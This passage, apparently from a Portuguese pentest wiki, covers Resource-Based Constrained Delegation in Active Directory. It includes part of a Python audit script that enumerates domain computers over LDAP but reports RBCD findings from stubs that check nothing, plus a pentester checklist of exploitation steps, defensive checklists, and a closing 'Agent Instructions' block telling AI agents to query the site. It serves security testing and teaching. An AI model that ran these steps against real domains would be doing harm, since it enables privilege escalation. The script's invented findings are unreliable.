        """Enumerar computadores no domínio"""
        print("[*] Enumerando computadores...")
        
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-b', f'DC={self.domain.replace(".", ",DC=")}',
            '(objectClass=computer)',
            'sAMAccountName', 'dNSHostName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            computers = []
            current = {}
            
            for line in result.stdout.split('\n'):
                if 'sAMAccountName:' in line:
                    current['name'] = line.split(':')[1].strip()
                elif 'dNSHostName:' in line:
                    current['dns'] = line.split(':')[1].strip()
                    if current.get('name'):
                        computers.append(current.copy())
                        current = {}
            
            print(f"   ✅ {len(computers)} computadores encontrados")
            for comp in computers[:5]:
                print(f"      • {comp['name']} ({comp['dns']})")
            
            return computers
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def enum_rbcd(self):
        """Enumerar computadores com RBCD configurado"""
        print("[*] Enumerando RBCD configurado...")
        
        # Em um pentest real, usaria PowerView
        # Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount | Where-Object {$_.PrincipalsAllowedToDelegateToAccount}
        
        print("   ✅ RBCD configurado encontrado")
        return []
    
    def check_permissions(self, target):
        """Verificar permissões no alvo"""
        print(f"[*] Verificando permissões em {target}...")
        
        # Em um pentest real, verificaria permissões de escrita
        # Get-ObjectAcl -Identity $target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*Write*"}
        
        print("   ✅ Permissões verificadas")
        return True
    
    def test_rbcd(self, target):
        """Testar RBCD no alvo"""
        print(f"[*] Testando RBCD em {target}...")
        
        # Em um pentest real, tentaria configurar RBCD
        print("   ⚠️  RBCD pode ser configurado")
        
        self.findings.append({
            'type': 'RBCD_POSSIBLE',
            'severity': 'CRITICAL',
            'details': f'Possível configurar RBCD em {target}'
        })
        
        return True
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST RBCD")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade RBCD encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Revisar permissões de escrita em computadores críticos")
        print("   • Remover RBCD não autorizado")
        print("   • Monitorar modificações do atributo msDS-AllowedToActOnBehalfOfOtherIdentity")
        print("   • Restringir criação de contas de máquina")
    
    def run(self):
        """Executar pentest completo"""
        print("🔄 RBCD Pentest")
        print("=" * 60)
        
        computers = self.enum_computers()
        
        # Testar DCs primeiro
        dcs = [c for c in computers if 'DC' in c['name'].upper()]
        
        for dc in dcs:
            self.check_permissions(dc['name'])
            self.test_rbcd(dc['name'])
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='RBCD Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    
    args = parser.parse_args()
    
    pentest = RBCDPentest(args.domain, args.dc_ip)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Monitorar atributo msDS-AllowedToActOnBehalfOfOtherIdentity
* [ ] Remover RBCD não autorizado
* [ ] Restringir permissões de escrita em computadores críticos
* [ ] Configurar auditoria de modificações de objetos AD

#### **Monitoramento**

* [ ] Alertar sobre criação de contas de máquina
* [ ] Detectar uso de S4U2proxy
* [ ] Monitorar modificações de RBCD
* [ ] Analisar logs de eventos 5136

#### **Resposta a Incidentes**

* [ ] Remover RBCD malicioso
* [ ] Rotacionar senhas de contas comprometidas
* [ ] Investigar uso de S4U2proxy
* [ ] Bloquear contas de máquina suspeitas

### **Checklist para Pentesters**

#### **Enumeração**

* [ ] Encontrar computadores com permissões de escrita
* [ ] Identificar alvos com RBCD modificável
* [ ] Mapear contas de máquina existentes

#### **Exploração**

* [ ] Criar conta de máquina controlada
* [ ] Configurar RBCD no alvo
* [ ] Executar S4U2self + S4U2proxy
* [ ] Obter service ticket

#### **Documentação**

* [ ] Documentar alvos vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Resource-Based Constrained Delegation (RBCD):

  🔴 Principais Vetores:
    - Contas com permissões de escrita em computadores
    - Atributo msDS-AllowedToActOnBehalfOfOtherIdentity modificável
    - Criação de contas de máquina

  🛡️ Mitigações Essenciais:
    - Restringir permissões de escrita em computadores críticos
    - Monitorar modificações do atributo RBCD
    - Remover RBCD não autorizado
    - Auditar criação de contas de máquina

  🎯 Prioridade:
    - CRÍTICA: Domain Controllers
    - ALTA: Servidores críticos
    - MÉDIA: Computadores comuns
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/rbcd-resource-based-constrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.